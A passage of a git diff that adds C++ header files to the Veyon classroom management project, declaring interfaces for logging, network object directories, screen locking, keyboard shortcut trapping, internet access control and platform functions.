VeyonServerInterface& server, FeatureManager& featureManager, QObject* parent = nullptr ); + ~FeatureWorkerManager() override; + + Q_INVOKABLE void startWorker( const Feature& feature, WorkerProcessMode workerProcessMode ); + Q_INVOKABLE void stopWorker( const Feature& feature ); + + Q_INVOKABLE void sendMessage( const FeatureMessage& message ); + + bool isWorkerRunning( const Feature& feature ); + FeatureUidList runningWorkers(); + +private slots: + void acceptConnection(); + void processConnection( QTcpSocket* socket ); + void closeConnection( QTcpSocket* socket ); + + void sendPendingMessages(); + +private: + VeyonServerInterface& m_server; + FeatureManager& m_featureManager; + QTcpServer m_tcpServer; + + struct Worker + { + QPointer socket; + QPointer process; + QList pendingMessages; + + Worker() : + socket( nullptr ), + process( nullptr ), + pendingMessages() + { + } + + Worker( const Worker &ref ) : + socket( ref.socket ), + process( ref.process ), + pendingMessages( ref.pendingMessages ) + { + } + + ~Worker() {} + + Worker& operator=( const Worker& ref ) + { + socket = ref.socket; + process = ref.process; + pendingMessages = ref.pendingMessages; + + return *this; + } + }; + + typedef QMap WorkerMap; + WorkerMap m_workers; + + QMutex m_workersMutex; + +} ; + +#endif diff --git a/core/include/FileSystemBrowser.h b/core/include/FileSystemBrowser.h new file mode 100644 index 0000000..e434acc --- /dev/null +++ b/core/include/FileSystemBrowser.h @@ -0,0 +1,74 @@ +/* + * FileSystemBrowser.h - a wrapper class for easily browsing the file system + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FILE_SYSTEM_BROWSER_H +#define FILE_SYSTEM_BROWSER_H + +#include "VeyonCore.h" + +class QLineEdit; + +class VEYON_CORE_EXPORT FileSystemBrowser +{ +public: + enum BrowseModes + { + ExistingDirectory, + ExistingFile, + SaveFile, + NumBrowseModes + } ; + typedef BrowseModes BrowseMode; + + FileSystemBrowser( BrowseMode m ) : + m_browseMode( m ), + m_expandPath( true ), + m_shrinkPath( true ) + { + } + + void setExpandPath( bool enabled ) + { + m_expandPath = enabled; + } + + void setShrinkPath( bool enabled ) + { + m_shrinkPath = enabled; + } + + QString exec( const QString &path, const QString &title = QString(), + const QString &filter = QString() ); + void exec( QLineEdit *lineEdit, const QString &title = QString(), + const QString &filter = QString() ); + + +private: + BrowseMode m_browseMode; + bool m_expandPath; + bool m_shrinkPath; + +} ; + +#endif diff --git a/core/include/Filesystem.h b/core/include/Filesystem.h new file mode 100644 index 0000000..824a371 --- /dev/null +++ b/core/include/Filesystem.h @@ -0,0 +1,47 @@ +/* + * Filesystem.h - filesystem related query and manipulation functions + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FILESYSTEM_H +#define FILESYSTEM_H + +#include "VeyonCore.h" + +// clazy:excludeall=rule-of-three + +class VEYON_CORE_EXPORT Filesystem +{ +public: + QString expandPath( QString path ) const; + QString shrinkPath( QString path ) const; + bool ensurePathExists( const QString &path ) const; + + QString privateKeyPath( const QString& name ) const; + QString publicKeyPath( const QString& name ) const; + + QString serverFilePath() const; + QString workerFilePath() const; + +}; + +#endif diff --git a/core/include/InternetAccessControlBackendInterface.h b/core/include/InternetAccessControlBackendInterface.h new file mode 100644 index 0000000..5bce45a --- /dev/null +++ b/core/include/InternetAccessControlBackendInterface.h @@ -0,0 +1,59 @@ +/* + * InternetAccessControlBackendInterface.h - interface class for internet access + * control backend plugins + * + * Copyright (c) 2017-2018 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef INTERNET_ACCESS_CONTROL_BACKEND_INTERFACE_H +#define INTERNET_ACCESS_CONTROL_BACKEND_INTERFACE_H + +#include "PluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class VEYON_CORE_EXPORT InternetAccessControlBackendInterface +{ +public: + /*! + * \brief Create configuration widget for internet access control backend - used in Configurator + */ + virtual QWidget* configurationWidget() = 0; + + /*! + * \brief Function called inside Veyon Service to block the internet access + */ + virtual void blockInternetAccess() = 0; + + /*! + * \brief Function called inside Veyon Service to unblock the previously blocked internet access + */ + virtual void unblockInternetAccess() = 0; + +}; + +typedef QList InternetAccessControlBackendInterfaceList; + +#define InternetAccessControlBackendInterface_iid "io.veyon.Veyon.Plugins.InternetAccessControl.BackendInterface" + +Q_DECLARE_INTERFACE(InternetAccessControlBackendInterface, InternetAccessControlBackendInterface_iid) + +#endif // INTERNET_ACCESS_CONTROL_BACKEND_INTERFACE_H diff --git a/core/include/KeyboardShortcutTrapper.h b/core/include/KeyboardShortcutTrapper.h new file mode 100644 index 0000000..fa71844 --- /dev/null +++ b/core/include/KeyboardShortcutTrapper.h @@ -0,0 +1,59 @@ +/* + * KeyboardShortcutTrapper.h - class for trapping system-wide keyboard shortcuts + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef KEYBOARD_SHORTCUT_TRAPPER_H +#define KEYBOARD_SHORTCUT_TRAPPER_H + +#include "VeyonCore.h" + +class VEYON_CORE_EXPORT KeyboardShortcutTrapper : public QObject +{ + Q_OBJECT +public: + enum Shortcut + { + NoShortcut, + AltTab, + AltEsc, + AltSpace, + AltF4, + CtrlEsc, + SuperKeyDown, + SuperKeyUp + } ; + Q_ENUM(Shortcut) + + KeyboardShortcutTrapper( QObject* parent = nullptr ) : + QObject( parent ) + { + } + + virtual void setEnabled( bool on ) = 0; + +signals: + void shortcutTrapped( Shortcut ); + +} ; + +#endif diff --git a/core/include/LockWidget.h b/core/include/LockWidget.h new file mode 100644 index 0000000..9ae792d --- /dev/null +++ b/core/include/LockWidget.h @@ -0,0 +1,56 @@ +/* + * LockWidget.h - widget for locking a client + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef LOCK_WIDGET_H +#define LOCK_WIDGET_H + +#include +#include + +#include "VeyonCore.h" + + +class VEYON_CORE_EXPORT LockWidget : public QWidget +{ + Q_OBJECT +public: + typedef enum Modes + { + DesktopVisible, + BackgroundPixmap, + NoBackground + } Mode; + + LockWidget( Mode mode, const QPixmap& background = QPixmap(), QWidget* parent = nullptr ); + ~LockWidget() override; + + +private: + void paintEvent( QPaintEvent * ) override; + + QPixmap m_background; + Mode m_mode; + +} ; + +#endif diff --git a/core/include/Logger.h b/core/include/Logger.h new file mode 100644 index 0000000..35b2392 --- /dev/null +++ b/core/include/Logger.h @@ -0,0 +1,102 @@ +/* + * Logger.h - a global clas for easily logging messages to log files + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYONCORE_LOGGER_H +#define VEYONCORE_LOGGER_H + +#include +#include + +#include "VeyonCore.h" + +class QFile; + +// clazy:excludeall=rule-of-three + +class VEYON_CORE_EXPORT Logger +{ +public: + enum LogLevels + { + LogLevelNothing, + LogLevelCritical, + LogLevelError, + LogLevelWarning, + LogLevelInfo, + LogLevelDebug, + NumLogLevels, + LogLevelMin = LogLevelNothing+1, + LogLevelMax = NumLogLevels-1, + LogLevelDefault = LogLevelInfo + } ; + + typedef LogLevels LogLevel; + + Logger( const QString &appName ); + ~Logger(); + + static const char* logLevelEnvironmentVariable() + { + return "VEYON_LOG_LEVEL"; + } + + LogLevel logLevel() const + { + return m_logLevel; + } + + +private: + void initLogFile(); + void openLogFile(); + void closeLogFile(); + void clearLogFile(); + void rotateLogFile(); + + void log( LogLevel logLevel, const QString& message ); + void outputMessage( const QString& message ); + + static QString formatMessage( LogLevel ll, const QString &msg ); + static void qtMsgHandler( QtMsgType msgType, const QMessageLogContext &, const QString& msg ); + + static QAtomicPointer s_instance; + static QMutex s_instanceMutex; + + LogLevel m_logLevel; + QMutex m_logMutex; + + LogLevel m_lastMessageLevel; + QString m_lastMessage; + int m_lastMessageCount; + bool m_logToSystem; + + QString m_appName; + + QFile *m_logFile; + int m_logFileSizeLimit; + int m_logFileRotationCount; + +} ; + +#endif diff --git a/core/include/MonitoringMode.h b/core/include/MonitoringMode.h new file mode 100644 index 0000000..d4237f9 --- /dev/null +++ b/core/include/MonitoringMode.h @@ -0,0 +1,83 @@ +/* + * MonitoringMode.h - header for the MonitoringMode class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef MONITORING_MODE_H +#define MONITORING_MODE_H + +#include "SimpleFeatureProvider.h" + +class MonitoringMode : public QObject, SimpleFeatureProvider, PluginInterface +{ + Q_OBJECT + Q_INTERFACES(FeatureProviderInterface PluginInterface) +public: + MonitoringMode( QObject* parent = nullptr ); + + const Feature& feature() const + { + return m_monitoringModeFeature; + } + + Plugin::Uid uid() const override + { + return QStringLiteral("1a6a59b1-c7a1-43cc-bcab-c136a4d91be8"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "MonitoringMode" ); + } + + QString description() const override + { + return tr( "Builtin monitoring mode" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + const FeatureList& featureList() const override + { + return m_features; + } + +private: + const Feature m_monitoringModeFeature; + const FeatureList m_features; + +}; + +#endif // MONITORING_MODE_H diff --git a/core/include/NetworkObject.h b/core/include/NetworkObject.h new file mode 100644 index 0000000..73a6b56 --- /dev/null +++ b/core/include/NetworkObject.h @@ -0,0 +1,133 @@ +/* + * NetworkObject.h - data class representing a network object + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef NETWORK_OBJECT_H +#define NETWORK_OBJECT_H + +#include +#include + +#include "VeyonCore.h" + +class VEYON_CORE_EXPORT NetworkObject +{ +public: + typedef QUuid Uid; + typedef QString Name; + + typedef enum Types + { + None, + Root, + Group, + Host, + TypeCount + } Type; + + NetworkObject( const NetworkObject& other ); + NetworkObject( Type type = None, + const Name& name = Name(), + const QString& hostAddress = QString(), + const QString& macAddress = QString(), + const QString& directoryAddress = QString(), + Uid uid = Uid(), + Uid parentUid = Uid() ); + NetworkObject( const QJsonObject& jsonObject ); + ~NetworkObject(); + + NetworkObject& operator=( const NetworkObject& other ); + + bool operator==( const NetworkObject& other ) const; + bool exactMatch( const NetworkObject& other ) const; + + bool isValid() const + { + return type() != None; + } + + const Uid& uid() const + { + return m_uid; + } + + const Uid& parentUid() const + { + return m_parentUid; + } + + Type type() const + { + return m_type; + } + + const Name& name() const + { + return m_name; + } + + void setName( const Name& name ) + { + m_name = name; + } + + const QString& hostAddress() const + { + return m_hostAddress; + } + + const QString& macAddress() const + { + return m_macAddress; + } + + const QString& directoryAddress() const + { + return m_directoryAddress; + } + + QJsonObject toJson() const; + +private: + Uid calculateUid() const; + + Type m_type; + QString m_name; + QString m_hostAddress; + QString m_macAddress; + QString m_directoryAddress; + Uid m_uid; + Uid m_parentUid; + + static const QUuid networkObjectNamespace; + +}; + +Q_DECLARE_METATYPE(NetworkObject::Type) + +static inline uint qHash( const NetworkObject& networkObject ) +{ + return qHash( networkObject.uid() ); +} + +#endif // NETWORK_OBJECT_H diff --git a/core/include/NetworkObjectDirectory.h b/core/include/NetworkObjectDirectory.h new file mode 100644 index 0000000..7a682f3 --- /dev/null +++ b/core/include/NetworkObjectDirectory.h @@ -0,0 +1,68 @@ +/* + * NetworkObjectDirectory.h - base class for network object directory implementations + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef NETWORK_OBJECT_DIRECTORY_H +#define NETWORK_OBJECT_DIRECTORY_H + +#include + +#include "NetworkObject.h" + +class QTimer; + +class VEYON_CORE_EXPORT NetworkObjectDirectory : public QObject +{ + Q_OBJECT +public: + enum { + MinimumUpdateInterval = 10, + DefaultUpdateInterval = 60, + MaximumUpdateInterval = 3600 + }; + + NetworkObjectDirectory( QObject* parent ); + + void setUpdateInterval( int interval ); + + virtual QList objects( const NetworkObject& parent ) = 0; + + virtual QList queryObjects( NetworkObject::Type type, const QString& name = QString() ) = 0; + virtual NetworkObject queryParent( const NetworkObject& object ) = 0; + +public slots: + virtual void update() = 0; + +private: + QTimer* m_updateTimer; + +signals: + void objectsAboutToBeInserted( const NetworkObject& parent, int index, int count ); + void objectsInserted(); + void objectsAboutToBeRemoved( const NetworkObject& parent, int index, int count ); + void objectsRemoved(); + void objectChanged( const NetworkObject& parent, int index ); + +}; + +#endif // NETWORK_OBJECT_DIRECTORY_H diff --git a/core/include/NetworkObjectDirectoryManager.h b/core/include/NetworkObjectDirectoryManager.h new file mode 100644 index 0000000..73f7d8e --- /dev/null +++ b/core/include/NetworkObjectDirectoryManager.h @@ -0,0 +1,53 @@ +/* + * NetworkObjectDirectoryManager.h - header file for NetworkObjectDirectoryManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef NETWORK_OBJECT_DIRECTORY_MANAGER_H +#define NETWORK_OBJECT_DIRECTORY_MANAGER_H + +#include "VeyonCore.h" +#include "Plugin.h" + +class NetworkObjectDirectory; +class NetworkObjectDirectoryPluginInterface; +class PluginInterface; + +class VEYON_CORE_EXPORT NetworkObjectDirectoryManager : public QObject +{ + Q_OBJECT +public: + NetworkObjectDirectoryManager( QObject* parent = nullptr ); + + QMap availableDirectories(); + + NetworkObjectDirectory* configuredDirectory(); + +private: + NetworkObjectDirectory* createDirectory(); + + QMap m_directoryPluginInterfaces; + NetworkObjectDirectory* m_configuredDirectory; + +}; + +#endif // NETWORK_OBJECT_DIRECTORY_MANAGER_H diff --git a/core/include/NetworkObjectDirectoryPluginInterface.h b/core/include/NetworkObjectDirectoryPluginInterface.h new file mode 100644 index 0000000..dac0367 --- /dev/null +++ b/core/include/NetworkObjectDirectoryPluginInterface.h @@ -0,0 +1,49 @@ +/* + * NetworkObjectDirectoryPluginInterface.h - plugin interface for network + * object directory implementations + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef NETWORK_OBJECT_DIRECTORY_PLUGIN_INTERFACE_H +#define NETWORK_OBJECT_DIRECTORY_PLUGIN_INTERFACE_H + +#include "PluginInterface.h" + +class NetworkObjectDirectory; + +// clazy:excludeall=copyable-polymorphic + +class NetworkObjectDirectoryPluginInterface +{ +public: + virtual QString directoryName() const = 0; + virtual NetworkObjectDirectory* createNetworkObjectDirectory( QObject* parent ) = 0; + +}; + +typedef QList NetworkObjectDirectoryPluginInterfaceList; + +#define NetworkObjectDirectoryPluginInterface_iid "io.veyon.Veyon.Plugins.NetworkObjectPluginInterface" + +Q_DECLARE_INTERFACE(NetworkObjectDirectoryPluginInterface, NetworkObjectDirectoryPluginInterface_iid) + +#endif // NETWORK_OBJECT_DIRECTORY_PLUGIN_INTERFACE_H diff --git a/core/include/NetworkObjectModel.h b/core/include/NetworkObjectModel.h new file mode 100644 index 0000000..5ab8498 --- /dev/null +++ b/core/include/NetworkObjectModel.h @@ -0,0 +1,55 @@ +/* + * NetworkObjectModel.h - base class for data models providing grouped network objects + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef NETWORK_OBJECT_MODEL_H +#define NETWORK_OBJECT_MODEL_H + +#include + +#include "NetworkObject.h" + +class VEYON_CORE_EXPORT NetworkObjectModel : public QAbstractItemModel +{ + Q_OBJECT +public: + NetworkObjectModel( QObject* parent = nullptr) : + QAbstractItemModel( parent ) + { + } + + typedef enum Roles + { + CheckStateRole = Qt::CheckStateRole, + NameRole = Qt::DisplayRole, + UidRole = Qt::UserRole, + TypeRole, + HostAddressRole, + MacAddressRole, + DirectoryAddressRole, + ParentUidRole + } Role; + +}; + +#endif // NETWORK_OBJECT_MODEL_H diff --git a/core/include/ObjectManager.h b/core/include/ObjectManager.h new file mode 100644 index 0000000..9e06349 --- /dev/null +++ b/core/include/ObjectManager.h @@ -0,0 +1,133 @@ +/* + * ObjectManager.h - header file for ObjectManager + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef OBJECT_MANAGER_H +#define OBJECT_MANAGER_H + +#include "VeyonCore.h" + +template +class ObjectManager +{ +public: + ObjectManager( const QJsonArray& objects ) : + m_objects( objects ) + { + } + + const QJsonArray& objects() const + { + return m_objects; + } + + void add( const T& object ) + { + m_objects.append( object.toJson() ); + } + + void update( const T& object ) + { + for( auto it = m_objects.begin(); it != m_objects.end(); ++it ) + { + T currentObject( it->toObject() ); + if( currentObject.uid() == object.uid() ) + { + *it = object.toJson(); + break; + } + } + } + + void remove( const T& object, bool recursive = false ) + { + if( recursive ) + { + removeChildren( object ); + } + + for( auto it = m_objects.begin(); it != m_objects.end(); ) + { + T currentObject( it->toObject() ); + if( currentObject.uid() == object.uid() ) + { + it = m_objects.erase( it ); + } + else + { + ++it; + } + } + } + + void removeChildren( const T& object ) + { + for( auto it = m_objects.begin(); it != m_objects.end(); ) + { + T currentObject( it->toObject() ); + if( currentObject.parentUid() == object.uid() ) + { + removeChildren( currentObject ); + it = m_objects.erase( it ); + } + else + { + ++it; + } + } + } + + T findByUid( typename T::Uid uid ) const + { + for( auto it = m_objects.constBegin(); it != m_objects.constEnd(); ++it ) + { + T currentObject( it->toObject() ); + if( currentObject.uid() == uid ) + { + return currentObject; + } + } + + return T(); + } + + T findByName( const typename T::Name& name ) const + { + for( auto it = m_objects.constBegin(); it != m_objects.constEnd(); ++it ) + { + T currentObject( it->toObject() ); + if( T( it->toObject() ).name() == name ) + { + return currentObject; + } + } + + return T(); + } + +private: + QJsonArray m_objects; + +}; + +#endif // OBJECT_MANAGER_H diff --git a/core/include/PasswordDialog.h b/core/include/PasswordDialog.h new file mode 100644 index 0000000..4b287d8 --- /dev/null +++ b/core/include/PasswordDialog.h @@ -0,0 +1,57 @@ +/* + * PasswordDialog.h - declaration of password dialog + * + * Copyright (c) 2010-2016 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PASSWORD_DIALOG_H +#define PASSWORD_DIALOG_H + +#include "AuthenticationCredentials.h" + +#include + +namespace Ui { class PasswordDialog; } + +class VEYON_CORE_EXPORT PasswordDialog : public QDialog +{ + Q_OBJECT +public: + PasswordDialog( QWidget *parent ); + ~PasswordDialog() override; + + QString username() const; + QString password() const; + + AuthenticationCredentials credentials() const; + + void accept() override; + +private slots: + void updateOkButton(); + + +private: + Ui::PasswordDialog *ui; + +} ; + +#endif diff --git a/core/include/PlatformCoreFunctions.h b/core/include/PlatformCoreFunctions.h new file mode 100644 index 0000000..d5b3ccd --- /dev/null +++ b/core/include/PlatformCoreFunctions.h @@ -0,0 +1,63 @@ +/* + * PlatformCoreFunctions.h - interface class for platform plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLATFORM_CORE_FUNCTIONS_H +#define PLATFORM_CORE_FUNCTIONS_H + +#include + +#include "Logger.h" +#include "PlatformPluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class PlatformCoreFunctions +{ +public: + virtual void initNativeLoggingSystem( const QString& appName ) = 0; + virtual void writeToNativeLoggingSystem( const QString& message, Logger::LogLevel loglevel ) = 0; + + virtual void reboot() = 0; + virtual void powerDown() = 0; + + virtual void raiseWindow( QWidget* widget ) = 0; + + virtual void disableScreenSaver() = 0; + virtual void restoreScreenSaverSettings() = 0; + + virtual QString activeDesktopName() = 0; + + virtual bool isRunningAsAdmin() const = 0; + virtual bool runProgramAsAdmin( const QString& program, const QStringList& parameters ) = 0; + + virtual bool runProgramAsUser( const QString& program, + const QStringList& parameters, + const QString& username, + const QString& desktop ) = 0; + + virtual QString genericUrlHandler() const = 0; + +}; + +#endif // PLATFORM_CORE_FUNCTIONS_H diff --git a/core/include/PlatformFilesystemFunctions.h b/core/include/PlatformFilesystemFunctions.h new file mode 100644 index 0000000..f3cb282 --- /dev/null +++ b/core/include/PlatformFilesystemFunctions.h @@ -0,0 +1,48 @@ +/* + * PlatformFilesystemFunctions.h - interface class for platform filesystem + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLATFORM_FILESYSTEM_FUNCTIONS_H +#define PLATFORM_FILESYSTEM_FUNCTIONS_H + +#include + +#include "PlatformPluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class PlatformFilesystemFunctions +{ +public: + virtual QString personalAppDataPath() const = 0; + virtual QString globalAppDataPath() const = 0; + virtual QString globalTempPath() const = 0; + + virtual QString fileOwnerGroup( const QString& filePath ) = 0; + virtual bool setFileOwnerGroup( const QString& filePath, const QString& ownerGroup ) = 0; + virtual bool setFileOwnerGroupPermissions( const QString& filePath, QFile::Permissions permissions ) = 0; + + +}; + +#endif // PLATFORM_FILESYSTEM_FUNCTIONS_H diff --git a/core/include/PlatformInputDeviceFunctions.h b/core/include/PlatformInputDeviceFunctions.h new file mode 100644 index 0000000..d51c0f7 --- /dev/null +++ b/core/include/PlatformInputDeviceFunctions.h @@ -0,0 +1,46 @@ +/* + * PlatformInputDeviceFunctions.h - interface class for platform plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be 